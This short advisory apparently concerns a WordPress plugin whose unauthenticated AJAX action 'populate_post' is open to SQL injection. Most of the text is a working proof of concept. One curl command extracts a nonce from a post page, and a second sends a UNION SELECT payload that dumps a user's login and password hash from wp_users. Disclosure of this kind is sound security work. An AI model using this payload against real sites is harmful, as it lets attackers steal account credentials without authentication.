The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
1. Visit a blog post and extract the nonce from the source (search for "feelboxAjax", and extract the "token")
curl -s 'http://127.0.0.1:7777/?p=1' | grep 'token'
2. Invoke the following curl command, with the just obtained nonce (token), to disclose the first user's username and password hash:
curl 'http://127.0.0.1:7777/wp-admin/admin-ajax.php?action=populate_post' \
--data 'token=<NONCE HERE>&postID=1 UNION ALL SELECT 1,1,CONCAT((SELECT user_login FROM wp_users),CHR(0x3a),(SELECT user_pass FROM wp_users)),1,1,1,1-- -'